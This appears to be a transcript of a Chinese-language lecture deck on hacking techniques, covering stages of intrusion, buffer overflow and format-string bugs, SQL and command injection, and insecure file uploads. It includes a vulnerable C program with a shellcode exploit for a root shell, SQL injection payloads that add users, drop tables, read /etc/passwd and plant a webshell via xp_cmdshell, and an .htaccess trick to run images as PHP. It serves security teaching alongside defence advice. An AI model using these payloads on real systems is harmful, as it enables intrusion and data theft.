師範大學 駭客入侵手法剖析
description
Transcript of 師範大學 駭客入侵手法剖析
師範大學駭客入侵手法剖析
大綱大綱
前言入侵過程簡介系統程式弱點分析Web 攻擊手法剖析問題與討論
關於我關於我
OuTian <[email protected]>現任 敦陽科技 資安服務處 資安顧問經歷 –
2007/2008/2009 台灣駭客年會講師、發表 0day多次政府、金融、電信、教育、企業單位之滲透測試服務
資安事件處理與蒐證資安設備規劃與建置
認證 –CEH (Certified Ethical Hacker)
前言
聲明聲明本系列課程內容,僅用於瞭解攻擊手法以利進行防禦部署,若有任何學員以之進行非法活動,一切行為與本人及主辦單位無關,由學員自行負責。
入侵過程簡介
一般入侵過程一般入侵過程
資訊收集
弱點探測
侵入系統
提升權限
收集資料
植入後門
資訊收集資訊收集主機搜尋
ICMP 、 TCP scanZone TransferGoogle 、 Bing
服務掃描 ( Port Scan )nmap 、 Superscan 、 amap 、 scanrandFIN, Xmas , or Null scan
網路架構探測traceroute 、 tcptraceroute 、 paratrace
作業系統判斷xprobe 、 p0f 、 nmap由 TCP Fingerprint 辨識系統
弱點探測弱點探測人為判斷服務弱點掃描工具
NessusOpenVASISS Internet ScannerFoundstone FoundScanDragonsoft Vulnerability Scanner
網頁弱點掃描工具HP WebInspectIBM AppScanAcunetix Web Vulnerabilisy ScannerJskyWebCruiserskipfish
侵入系統侵入系統
利用 Web 應用程式的漏洞 利用服務本身的弱點 Brute Force Attack
Sniff
Session Hijacking
Man-in-the-Middle
Social Engineering
提升權限提升權限
crack password vulnerable program/service
. buffer overflow (stack/heap). format string. race condition. design error
Kernel Exploit Brute Force Attack
收集資料收集資料
破解使用者密碼
修改登入頁面取得密碼
啟動 sniffer 竊聽密碼
" 備份資料 "
繼續尋找並攻擊內部網路中其他機器
植入後門植入後門後門程式IRCbotTCP proxy植入 Rookit
隱藏蹤跡及保留存取權限的工具 " 組“修改 log 紀錄置換系統工具後門程式
系統程式弱點分析
常見系統程式弱點常見系統程式弱點
Buffer OverflowFormat String
Buffer Overflow Buffer Overflow 簡介簡介最常見的 Internet 攻擊手法
CERT (Computer Security incident Report Team) 中超過 50% 的 Security Advisory 屬於於此分類
著名案例Morris worm (1988): fingerd
– 感染超過 6,000 部主機CodeRed (2001): MS-IIS server
– 14 小時內,超過 300,000 部主機受感染SQL Slammer (2003): MS-SQL server
– 10 分鐘內,超過 75,000 部主機受感染
Buffer Overflow Buffer Overflow 常發生於常發生於
以 C 語言開發之各類kernel系統程式應用程式網路服務程式cgi 網頁應用程式
以 C 語言所開發之程式語言編譯器 / 直譯器phpperl… etc
Buffer Overflow Buffer Overflow 可以用來?可以用來?
改變應用程式執行過程引發程式不可預期行為而遭關閉
Denial Of Service
注入 shell code 以執行任意指令植入後門提升權限關閉服務………etc
Buffer Overflow Buffer Overflow 的分類的分類
攻擊位置Local
– 攻擊本機之應用程式Remote
– 利用網路封包攻擊遠端之服務攻擊方式
Stack Overflow– 靜態配置的記憶體空間
Heap Overflow– 程式執行階段動態配置的空間
聽個音樂也會被入侵?聽個音樂也會被入侵?
什麼是 什麼是 Buffer OverflowBuffer Overflow ?? (1)(1)
什麼是 Buffer ?電腦主記憶體裡之暫存區,用以儲存程式裡之靜態 /動態資料
在程式中長得像這樣:char buffer[15];
Buffer 的種類原始碼中靜態宣告程式執行期間動態配置,利用 Stack 空間 malloc()
什麼是 Stack?電腦程式在執行期間所需要的一塊記憶體,由處理器支援其運作,遵循後進先出規則。
什麼是 什麼是 Buffer OverflowBuffer Overflow ?? (2)(2)
什麼是 Buffer Overflow ?程式中在寫入 Buffer 的時候,超出預先配置的大小。
發生這種狀況的時候,有可能:沒事。複寫到其他變數中的資料,使程式結果錯誤複寫到其他變數的指標,發生存取錯誤。複寫了返回位置,當副程式結束時當掉。
什麼是 什麼是 Buffer OverflowBuffer Overflow ?? (3)(3)
令我們感興趣的狀況:動態變數 (buffer) 配置於堆疊區。複製過長的資料會發生 Buffer Overflow經由 Buffer Overflow能夠改變程式的返回位置
堆疊區在系統記憶體中是可執行的能夠在堆疊區插入一段程式碼,並改變原程式的流程,執行我們插入的程式碼。
什麼是 什麼是 Buffer OverflowBuffer Overflow ?? (4)(4)
常發生於以下 C 語言函式中memcpy()strcpy()strcat()sprintf()vsprintf()gets()scanf()
什麼是 什麼是 Buffer OverflowBuffer Overflow ?? (5)(5)
正常的 strcpy() 動作
什麼是 什麼是 Buffer OverflowBuffer Overflow ?? (6)(6)
Buffer Overflow 攻擊時
Buffer Overflow (Stack)Buffer Overflow (Stack)
觀察記憶體內容觀察記憶體內容
WindowsWinDbgOllyDbg
UNIXgdbdddEvan's Debugger
有弱點的程式有弱點的程式 #include <stdio.h> #include <stdlib.h> #include <string.h>
int main(int argc, char *argv[] ) {
char name[256];
if( argc == 1 ) { printf("Usage: %s name\n", argv[0] ); exit(0); }
strcpy( name , argv[1] ); printf("Hello %s !\n", name ); }
執行時執行時
輸入過長參數會導致 Segmentation Fault
測試 測試 buffer buffer 大小大小
./bof `perl -e 'print "A"x268'`替換 x 後方數字直到產生 Segmentation
Fault
使用 使用 gdb gdb 確認 確認 ebp ebp 遭覆蓋遭覆蓋
找出 找出 buffer buffer 之起始位址之起始位址
印出記憶體位址內容
進行 進行 Buffer Overflow Attack ! Buffer Overflow Attack !
填入 buffer overflow 的 template –[NOP] + [Shell Code] + [NOP] + [RET Addr][RET Addr]需依實際狀況調整
./bof `perl -e 'print "\x90"x208 . "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "\x90"x30 . "\x60\xf8\xff\xbf"
攻擊成功!攻擊成功!
利用 setuid root 之程式,進行 Buffer Overflow 執行 /bin/sh 後,跳出原程式進入 shell ,並取得 root 權限
ASLR ImplementationASLR Implementation
Linux> kernel 2.6.12kernel.randomize_va_space
Microsoft WindowsWindows Vista 64bitsWindows Server 2008
OpenBSDMac OS
> 10.5 (Not Fully Implementing)
取得 取得 stack pointerstack pointer
#include <stdio.h>
unsigned long get_sp(void) { __asm__("movl %esp, %eax"); }
int main() { printf("Stack pointer (ESP): 0x%x\n", get_sp() );
return 0; }
kernel.randomize_va_spacekernel.randomize_va_space
不變
不變
不斷改變
Exec ShieldExec Shield
Windows (DEP)Windows XP
RedHat Linux> Fedora Core 1> RHEL 3 update 3kernel.exec-shield
Solaris> Solaris 9
– In /etc/systemSet noexec_user_stack=1
Set noexec_user_stack_log=1
kernel.exec-shield = 0kernel.exec-shield = 0
可執行
kernel.exec-shield = 1kernel.exec-shield = 1
不可執行
Format String Format String 簡介簡介
Format String(格式化字串 ) 用於 C 語言中之許多函式*printf( format string , variable list)
– printf
– fprintf
– sprintf
– vprintf
– vfprintf
– vsprintf
*scanf( format string , address list)
Sample CodeSample Code
Vulnerable#include <stdio.h>
int main(int argc, char *argv[] ){ printf( argv[1] );}
Safe#include <stdio.h>
int main(int argc, char *argv[] ){ printf( “%s” , argv[1] );}
著名案例著名案例
Danger discovered in June 2000.Examples:
wu-ftpd 2.* : remote root.Linux rpc.statd: remote rootIRIX telnetd: remote rootBSD chpass: local root
ExploitExploit
Dumping arbitrary memory./fs '%08x.%08x.%08x.%08x|%s|'
Writing arbitrary memory ./fs '%08x.%08x.%08x.%08x.%n'
Overflow using Format StringOverflow using Format String
char errmsg[512], outbuf[512];sprintf (errmsg, “Illegal command:
%400s”, user);sprintf( outbuf, errmsg );
When user = “%500d <nops> <shellcode>”Bypass “%400s” limitation.Will ovreflow outbuf.
Web 攻擊手法剖析
常見 常見 Web Web 應用程式弱點 應用程式弱點 (1)(1)
程式過濾不當 SQL Injection
– 竊取資料、入侵網站 Cross Site Scripting
– 利用網站弱點竊取其他用戶資料 Arbitrary File Inclusion
– 入侵網站 Code/Command Injection
– 入侵網站 Directory Traversal
– 瀏覽敏感資訊檔案 Buffer Overflow
– 入侵網站主機
常見 常見 Web Web 應用程式弱點 應用程式弱點 (2)(2)
邏輯設計不當Cookie Poisoning
– 變換身份、提升權限Parameter Tampering
–竄改參數,使應用程式出現不可預期反應Upload File Mis-Handling
– 植入網站木馬Information Disclosure
–洩露網站資訊– Error Handling
Weak Authentication–脆弱的認證機制
OWASPOWASP Top 10 Vulnerability Top 10 Vulnerability
OWASP Top 10 (2010) - 1OWASP Top 10 (2010) - 1
InjectionWeb 應用程式執行來自外部如資料庫、作業系統惡意指令等SQL InjectionCommand InjectionCode Injection……
SQL InjectionSQL Injection
Web 應用程式未檢查使用者的輸入參數,直接將其傳入資料庫執行 SQL
分類 Error Based ( ASP + MSSQL ) Union / Blind / Update Based ( ALL ) Stack Query ( MSSQL ) Extended Procedure ( MSSQL 、 Oracle )
影響範圍 ASP 、 .NET 、 Java 、 PHP 、 CGI ………etc MSSQL 、 MySQL 、 Oracle 、 Sybase 、 DB2 、 PostgreSQL
………etc 造成危害 -
繞過身份驗證 任意 查詢 /新增 / 修改 /刪除 資料庫內容 資料庫伺服器遭入侵
找出注入點找出注入點 修改懷疑可能為 SQL 語句內容之參數 網址參數、 POST Form 、 Cookie 、 HTTP Headers
數字型– 1+1– '– or 1=1--– or 2>1--– order by 1--– and 1/0--
字串型– '– ' and ''='– ' order by 1--– ' and 1/0--– ' and user>0--– ';declare @a int;--
Bypass AuthenticationBypass Authentication
於登入頁面之帳號密碼欄位,注入 SQL語法以繞過認證‘ or ‘’=‘‘ or 1=1--‘ or 1=1/*
繞過身份認證繞過身份認證
`
壞人
www.victim.com.tw
http://www.victim.com.tw/login.jsp
正常人該作的…壞人會作的
登入成功
Why Why ??????本來的語法長這樣
Select*
FromAccount
Whereusername=‘[帳號 ]’andpassword=‘[ 密碼 ]’
插入 SQL 後成為 –Select
*
From
Account
Where
username=‘admin’
and
password=‘‘ or 1=1--’
Bypass where conditionBypass where condition
本來的語法長這樣Select
*
From
News
Where
id= [ 網址參數 id]
插入 SQL 後成為 –Select
*
From
News
Where
id= 1 or 1=1--
Error BasedError Based
發生於 asp + mssql 之組合情況下or aspx 開啟 debug
早期最常見之資料庫盜取方式利用資料庫型別轉換產生之錯誤訊息撈取內容@@version>1--order by 100--(select cast(id as nvarchar(4000))+’|’)>1(select cast(id as nvarchar(4000))
+char(124))>1
Why Why ??????
本來的語法長這樣Select
*
From
News
Where
id= [ 網址參數 id]
插入 SQL 後成為 –Select
*
From
News
Where
id= 1 and @@version>1--
Union BasedUnion Based
發生於所有程式、所有資料庫環境下利用在判斷式後結合前後兩段 SQL 以撈取內容
首先可利用 order by 判斷欄位數量 id=1 order by 10-- id=1 union select 1,2,3,4,5-- id=1 union select 1,2,3,database(),5-- id=1 union select 1,2,3,(select top 1 name from
master..sysdatabases where dbid=7),5— id=1 union select 1,2,3,load_file(‘/etc/passwd’),5--
Why Why ??????
本來的語法長這樣Select
id,user,message
From
board
Where
id= [ 網址參數 id]
插入 SQL 後成為 –Select
id,user,message
From
board
Where
id= 1
Union select
1,2,version()--
Update BasedUpdate Based
發生於所有程式、所有資料庫環境下利用程式更新資料時,插入欲撈取資料之
SQL ,以在更新後得到資料儘量不要在注入的 SQL 後面加上 --MSSQL 使用 + 結合字串Oracle 使用 || 結合字串
‘ + @@version + ‘‘ + (select name from master..sysdatabases
where dbid=7) +’‘,email=(select … ),’ …
Why Why ??????
本來的語法長這樣Update
Member
Set
email=‘[email]’,
address=‘[地址 ]’
Where
user=‘[ 使用者名稱 ]’
插入 SQL 後成為 –Update
Member
Set
email=‘‘ + user + ’’ ,
address=‘[地址 ]’
Where
user=‘[ 使用者名稱 ]’
BlindBlind
發生於所有程式、所有資料庫環境下頁面沒有任何錯誤訊息供判斷,故稱 “ Blind”
利用回應頁面的 “是” 與 “否” 判斷所注入的 SQL是否執行成功id=1 and 1=1id=1 and 1=2id=1 and (select top 1
ascii(substring(COLUMN,1,1)) from TABLE)>79
Why Why ??????
本來的語法長這樣Select
*
From
News
Where
id= [ 網址參數 id]
插入 SQL 後成為 –Select
*
From
News
Where
id= 1 and 1=1 (1 and 1=2)
觀察兩次查詢的結果
Stack QueryStack Query
發生於資料庫為 MSSQL 時利用 ; 符號中止原查詢語句,注入欲執行之動作
可注入任何 SQL 語句,包含四大資料處理語法( SELECT/INSERT/DELETE/UPDATE)、及延伸程序等id=1 ; drop table account;--id=1 ; exec master..xp_cmdshell ‘net user
Hacker Hacker /add’;--
不正常的不正常的 Query (1)Query (1)
使用註解符號中斷 SQL 語句/*--
永遠成立的條件or 1=1--or 2>1--‘ or ‘’=‘
不正常的不正常的 Query (2)Query (2)
測試查詢成功與否and 1=1--and 1=2-- ‘;declare @a int;--
使查詢產生錯誤進行不同型別的轉換 (字串 <->整數 )
– @@version>1
邏輯運算錯誤– 1/0
依不存在的欄位排序– order by 100
不正常的不正常的 Query (3)Query (3)
使用 union結合兩段 query‘ union select col1,col2,… from table--
呼叫函數或延伸程序;exec master..xp_cmdshell ‘net user Hacker
Hacker /add’;--;exec master..xp_cmdshell 'echo WEBSHELL
> path/a.asp‘--;exec master..xp_regread
'HKEY_CURRENT_USER,Software\ORL\WinVNC3',Password;--
Command InjectionCommand Injection
執行作業系統指令之參數來自使用者端Example :
Execute( “dir ” & Request(“dir”) )
插入指令分隔字元;|` `
Listfile.asp?dir=C:\;net user hacker hacker /add
File Upload Mis-Handling
檔案上傳功能檔案上傳功能
許多 AP都有檔案上傳功能上傳圖片、音樂、文件… .
控管不好的話,駭客可以上傳惡意程式WebShell 控制後端 Web 主機傳小馬、換大馬
73
傳統防護機制傳統防護機制
傳統檢查機制許多都有風險Client-side validation
– 可被 bypass !
MIME Type validation– 可被假造 !
攻擊者可透過自己寫的 Script 或是自動化程式,一樣利用 HTTP POST 方式來上傳檔案,但是自己竄改成假的MIME Type 。
74
傳統防護機制傳統防護機制 (cont.)(cont.)
–某些平台設定本身有漏洞 : Apache + PHP 駭客上傳自己的系統設定檔 “ .htaccess”, 內含 :
AddType application/x-httpd-php .jpg
可以讓系統用 PHP 的執行方式來處理 .jpg 的檔案filename.php.123 ?!
Apache 中遇到不認識的副檔名,會找認識的副檔名來執行
filename.php.jpg ?!Apache 使用兩種語法來設定執行 PHP : the
AddHandler directive 或是 AddType. 如果是前者,只要檔名中含有 ‘ .php’ 就會被當作
PHP 檔案來執行。75
防護建議防護建議利用白名單的觀念,在Web Server 中設定好允許的 MIME-Type 與其所相對應的程式附檔名。避免之前提到的平台漏洞
– 例如 : Apache 的 “ .htaccess ”檔案應放置到不會被瀏覽或上傳取代的位置。
設定範例 ( 只允許圖檔 ): deny from all
<Files ~ "^\w+\.(gif|jpe?g|png)$">
order deny,allow
allow from all
</Files>
76
防護建議防護建議 (cont.)(cont.)
附檔名檢驗後端一定要做 !小心因檢查不確實而被繞過
– .gif.php ( 多重附檔名 )
– %2E%70%68%70 ( .php)
– .pHp
檔案上傳管理位置管理 :
– 存放位置應獨立開來,並且做好權限控管 (盡量避免被瀏覽與執行 ) 。
檔名管理 : –上傳後的檔名應該被更名 77
網頁編輯器漏洞手冊網頁編輯器漏洞手冊 http://docs.google.com/View?id=dgd2dg2g_9cbxcbbf6
78
問題與討論問題與討論